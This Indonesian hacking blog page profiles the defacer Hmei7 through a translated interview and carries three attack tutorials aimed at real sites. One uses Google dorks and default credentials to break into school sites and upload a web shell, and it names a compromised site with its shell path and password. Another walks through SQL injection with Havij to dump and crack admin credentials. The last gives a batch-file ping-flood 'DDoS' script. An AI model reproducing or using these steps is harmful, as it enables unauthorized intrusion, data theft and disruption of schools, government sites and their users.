Minggu, 22 Desember 2013

Siapakah Hmei7, Who is Hmei7

Siapakah Hmei7..???


Yang pasti dia adalah seorang hacker dari Indonesia, Kabarnya, dia mulai aktif di dunia hacking sejak tahun 2001 silam dan Menurut data dari Zone-H, sampai sekarang, sudah ada ratusan ribu situs dan blog yang berhasil dia lumpuhkan atau juga dia ganti tampilan depannya. Bahkan dia sempat menduduki peringkat 1 dunia sebagai hacker (defacer) menurut peringkat di Zone-H.
Namun, siapakah sosok asli dibalik inisial Hmei7 ini?
Menurut data yang saya cari, softpedia juga pernah berkomunikasi dengan Hmei7 namun menggunakan bahasa inggris, di sini linknya ---> http://news.softpedia.com/news/Hackers-Around-the-World-Hmei7-Indonesian-Defacer-361176.shtml 

Versi Bahasa indonesia :
Softpedia: Beritahu kami sedikit tentang diri Anda. Apakah Anda terlibat dengan kelompok atau apakah Anda bekerja sendiri? 
Hmei7: Hello, my name is Hmei7. Saya berusia 17 tahun, dari Indonesia, dan saya belajar di Universitas di Indonesia. Ini adalah tahun terakhir saya dan saya telah ujian segera, maka saya akan mendapatkan diploma saya. Sebagai seorang hacker, saya bekerja sendirian. Pertama, saya adalah seorang topi hitam, tetapi saya telah berhenti dengan itu jadi saya memutuskan untuk membantu administrator dengan masalah keamanan mereka. Jadi, I'ma topi putih sekarang :)
Softpedia:  Apa arti penting dari nama "Hmei7"? 
Hmei7:  Itu hanya nama acak. 
Softpedia:  Kapan Anda mulai hacking dan apa yang memicu minat Anda? 
Hmei7:  saya benar-benar don 't tahu mengapa aku melakukannya untuk pertama kalinya, tapi aku benar-benar menyukai untuk melakukannya sehingga pada saat itu saya mulai belajar hacking. 
Softpedia:  Yang merupakan situs web pertama Anda hacked? 
Hmei7:  Situs web pertama yang saya dirusak adalah IBM situs pengembangan.Aku tidak pernah berharap bahwa adalah mungkin bagi saya untuk melakukannya, tapi ketika aku punya akses ke website saya benar-benar bangga pada diriku sendiri. Pada saat itu saya memutuskan untuk belajar hack. 
Softpedia:  Berapa banyak situs yang telah Anda hack sejauh ini? 
Hmei7:  Menurut zona-h, jumlah pemberitahuan: 204.457 di antaranya 80.726 IP tunggal dan 123.731 defacements massa. 
Softpedia:  Dapatkah Anda berbagi hacking yang menarik cerita dengan pembaca kami? 
Hmei7:  Ketika saya mulai belajar hack aku ingin menemukan sebuah situs profil tinggi untuk hack, sehingga beberapa teman saya bertanya apakah saya ingin deface Pembangunan IBM. Itu sulit bagi saya. Saya belajar banyak hal dari teman-teman saya dan dari beberapa website. Setelah saya belajar banyak hal saya mencoba untuk deface Pembangunan IBM.Ketika saya punya akses, saya menemukan banyak pengguna, mail, password dll, tapi aku tidak mempublikasikannya, saya hanya dirusak situs dan pada saat itu nama saya Hmei7 mungkin "terkenal" untuk deface tersebut. 
Softpedia:  Beberapa hacker lain juga telah menggunakan nama Hmei7. Apakah Anda tahu siapa mereka atau mengapa mereka melakukannya?
Hmei7:  Saya tidak tahu mereka tapi saya berpikir bahwa orang menggunakan nama saya karena mereka ingin perhatian media sosial, menjadi terkenal. 
Softpedia:  Beritahu kami sedikit tentang hukum dunia maya di Indonesia. 
Hmei7:  Menurut hukum Indonesia, Anda bisa pergi ke penjara 6 tahun jika Anda deface website dan 10 jika Anda memodifikasi / mempublikasikan database. 
Softpedia:  Apakah Anda takut tertangkap? Apakah Anda pernah merasa bahwa polisi sedang berusaha untuk melacak Anda ke bawah? 
Hmei7:  Tidak, aku tidak takut karena saya telah menyerang banyak pemerintah dan perusahaan dan mereka masih tidak memiliki informasi apapun tentang saya, dan mereka tidak akan pernah mendapatkan sesuatu untuk tahu tentang saya :) 
Softpedia:  Indonesia berencana membangun tentara cyber untuk melindungi negara dari serangan asing. Apa pendapat Anda tentang hal ini? Apakah Anda mendaftar di sebuah tentara maya?
Hmei7:  Ya, tentu saja. Indonesia adalah negara saya dan darah saya. Saya telah membantu Tentara Cyber ​​Indonesia pada tahun 2012 terhadap hacker Brasil. . Mereka menyerang banyak domain milik Indonesia jadi saya telah mengambil tindakan pada 1000 + domain Brasil Pada saat itu, hacker Brasil berhenti untuk hacking website Indonesia. 
Softpedia:  Bila Anda hack sebuah website, apakah Anda pernah berpikir bahwa webmaster akan harus berurusan dengan konsekuensi dan bahkan mungkin mendapat masalah dengan atasannya? 
Hmei7:  Tidak .. sebenarnya, aku tidak tahu. 
Softpedia:  Anda mengatakan Anda mulai sebagai topi hitam. Pernahkah Anda terlibat dalam menjual data kartu kredit, atau kegiatan sejenis lainnya?
Hmei7:  Hmmmm itu adalah pertanyaan yang bagus! Tapi aku tidak pernah melakukan itu. Saya tidak mengerti apa yang orang ingin lakukan dengan database kartu kredit. Hanya saja sakit! 
Softpedia:  Beritahu kami sedikit tentang adegan hacker di Indonesia. Apakah ada banyak hacktivists / kriminal di dunia maya yang berbasis di sini? 
Hmei7:  Ya, ada banyak hacker dari Indonesia. Adegan hacker di Indonesia, semua dari mereka adalah hacker besar yang melindungi negara kita.Aku tahu bahwa kebanyakan dari mereka adalah 100% BlackHat. Bulan lalu, ada seorang hacker dari Indonesia yang ditangkap untuk kejahatan dunia maya nya. 
Softpedia:  Bagaimana Anda mengelola untuk menjaga kehidupan hacker Anda dipisahkan dari kehidupan nyata Anda? Apakah Anda mengatakan kepada salah satu keluarga atau teman-teman bahwa Anda hacker? 
Hmei7:  Tidak, saya merahasiakannya untuk orang-orang tapi aku hanya kirim ke teman-teman saya. Saya hanya kirim ke teman-teman saya yang sebenarnya. 
Softpedia:  Apakah anda mendukung gerakan Anonymous 
Hmei7:  . Terkadang 
Softpedia:  Mengapa Anda deface situs? Apa yang ingin Anda capai dengan melakukan hal ini? 
Hmei7:  Saya deface sebuah website karena saya hanya melakukannya untuk bersenang-senang. Saya tidak punya apa-apa untuk mencapai dengan melakukan hal ini. 
Softpedia:  Apa yang Anda lakukan ketika Anda tidak hacker? Apa hobi lain yang Anda miliki? 
Hmei7:  Saat aku tidak hack saya bermain sepak bola dengan teman-teman saya. 
Softpedia:  Apakah ada sesuatu yang Anda ingin menambahkan 

Hmei7:  Ya. Akan datang suatu hari bahwa seseorang mengatakan dia adalah hacker atau hacker dll Saya tidak menggunakan FB atau media sosial lainnya. Saya sebenarnya juga tidak menggunakan Twitter, tapi teman-teman saya telah diminta untuk membuat Twitter karena lain fakers 'Hmei7'.

Itulah sedikit Informasi tentang Hmei7 semoga bisa mengurangi rasa penasaran anda :)
Lanjutin Baca Klik disini....

Selasa, 17 Desember 2013

Deface Situs http://[site]sch.id

Sebetulnya bug lama atau agak jadul, tapi berhubung ada request dari temen akhirnya gue share juga deh....
Siapin file.txt image.jpg atau png  terserah apa aja atau script deface juga boleh...
Sekarang buka www.google.com lalu masukkan seaching ini Dork
1. Masukkan dork berikut ke google atau yahoo atau search engine lainnya...
inurl:"/html/index.php" intext:"Tim Balitbang"
inurl:"/html/index.php" intitle:"Selamat Datang"
inurl:"/member/" intext:"Tim Balitbang"
note : oh iya kalo di yahoo "inurl:" diilangin ya broo 

contoh : 
/html/index.php intext" tim balitbang"
contoh lagi:
/path/html/index.php intext "tim balitbang" site:com atau /path/html/index.php intext "tim balitbang" site:net atau /path/html/index.php intext "tim balitbang" site: sch.id atau sebagainya....
Terserah sobat mau pilih yang mana. 
2. Nanti akan muncul banyak web dengan domain sch.id/ac.id/com/net atau yang lainnya, coba pilih salah satu.
3. Masuk ke www.site.sch.id/member/index.php atau www.site.sch.id/member/user.php

4. Anda masuk sebagai member dengan memasukkan username dan pass berikut :


user:wardjana
pass:123456
user : siswanto
pass : 123456
5. Jika gak berhasil cari target lainnya masbroo jangan sedih 

6.(kalau yang sudah bisa login) Lalu diapakan lagi kalau sudah masuk? Kita tanam shell/backdoor dengan cara pergi ke profile => tambah materi ajar => upload shell 

7.. Jika sukses, buka shell masbroo semua di www.site.sch.id/download/namashellente.php

jika sukses seperti ini hasilnya : 
www.dikbudsigi.com
shellnya: http://www.dikbudsigi.com/functions/pocong.php (pass:kerinci) 

hehehe thanks buat yang udah baca.. jangan lupa +++ nye hehe  kalo kurang paham ane bersedia membantu 
Semoga berhasil dan bermanfaat
Lanjutin Baca Klik disini....

Kamis, 01 Agustus 2013

Cara Deface Website Dengan Menggunakan Tools Havij

Defacing adalah merupakan bagian dari kegiatan hacking web atau program application, yang menfokuskan target operasi pada perubahan tampilan dan/atau konfigurasi fisik dari web atau program aplikasi tanpa melalui source code program tersebut. Sedangkan deface itu sendiri adalah hasil akhir dari kegiatan cracking dan sejenisnya – tekniknya adalah dengan mbaca source codenya (ini khusus untuk konteks web hacking), trus ngganti image (misalnya), editing html tag dkk, dan lain-lain.

Cara Hacking Website Dengan Menggunakan Tools Havij 1.15

Download Tools : 
Installation Setup
  • Download Tools Havijnya 
  • Lalu Install Filenya
  • Kemudian Double Klik Icon Havijnya
  • Selesai.
1). Kalo Tools Havijnya sudah terinstal, buka tools tersebut dengan cara double click.


2). Nah, sekarang kita cari targetnya. Karena saya belum sempat share Dorknya, Jadi sobat bisa cari Dorknya di Google, Banyak kok :D

3). Jika target sudah dapat, saya ambil contoh http://www.tested.go.id/index.php?q=hotspot&hid=2054

4). Kita masukkan target tersebut kedalam kolom target No 1, terus liat dilangkah No 2, terlihatkan nama databasenya, kemudian kalo udah berhasil klik table yang sudah saya tandai dengan nomer No 3.

5). Kalo sudah sobat klik, maka tampilannya akan seperti dibawah ini. Lalu kalo sudah, sobat klik lagi Get Tables, liat nih gambar dibawah.


6). Akan ada banyak sekali table-table yang terbuka. Terus ayo kita tebak dimana letak admin & passwordnya berada. Saya menebak kalo user dan passwordnya ada ditable web_users. Okelah, kita coba table tersebut, kita liat isinya dengan hanya mengklik GetColoums yang terletak disebelah Get Tables yang saya tandai degan No 2.


7). Selanjutnya tinggal sobat centang data yang ingin sobat ambil. Saya tandai dengan No 1, lalu klik Get Data, Kemudian kita lihat apa yang terjadi.


8). Ayeee, keliatankan user sama passwordnya, tapi masih terenkripsi dengan MD5. Cara mengenkripsinya mudah kok, karena tools ini juga menyediakan enkripsi untuk MD5.


9). Yang paling penting sobat tinggal mencari halaman login adminnya, Sobat hanya perlu mengklik Icon yang berjudul Find Admin, kemudian tunggu hingga muncul tulisan I'm IDLE.

Nah bagaimana sob? lebih mudah atau lebih sulit dengan cara yang pernah saya post sebelumnya, kalo menurut saya cara ini adalah cara terpraktis, termurah dan paling gampang kalo kita mau meretas sebuah website.


Sumber: http://indocyberarmy.blogspot.com/2012/12/cara-hacking-website-dengan-menggunakan.html#ixzz2akG8mugJ
Lanjutin Baca Klik disini....

Cara Membuat Tool DDoS Sederhana dari Notepad

DDoSmerupakan salah satu serangan terhadap sebuah komputer atau server didalam sebuah jaringan internet, dengan cara membanjiri lalu lintas host target sehingga sulit untuk diakses. 

Cara Membuat Tool DDoS Sederhana dari Notepad
DDos Tools

Dan kali ini saya akan memberikan sebuah tutorial, yaitu cara membuat tools DDoS sederhana dari notepad. Jika kalian penasaran, mari kita simak berikut ini.

1. Buka Notepad
Cara Membuat Tool DDoS Sederhana dari Notepad

2. Masukan Kode Berikut Ini :

@echo off
mode 67,16
title DDOS Attack
color 0a
cls
echo.
echo DDOS With Batchfile
echo.
set /p x=Server-Target:
echo.
ping %x%
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0c
echo Attacking Server %m%
ping %m% -i %n% -t >nul
goto DDOS

3. Kemudian Save As...
Cara Membuat Tool DDoS Sederhana dari Notepad

4. Beri nama Tools DDoS.bat - Ubah Save As type: All Files - Save.
Cara Membuat Tool DDoS Sederhana dari Notepad

5. Buka file yang sudah dibuat tadi,

6. Jika berhasil tampilannya akan seperti ini :
Cara Membuat Tool DDoS Sederhana dari Notepad

7. Masukan web target pada kolom yang berkedip
8. Kemudian tekan Enter.

Dengan serangan sederhana ini dan dilakukan secara berulang-ulang, web target akan sedikit lambat jika kita akses. Tutorial ini hanya untuk pembelajaran, jadi jangan disalahgunakan ya :)

Lanjutin Baca Klik disini....

Chatting Disini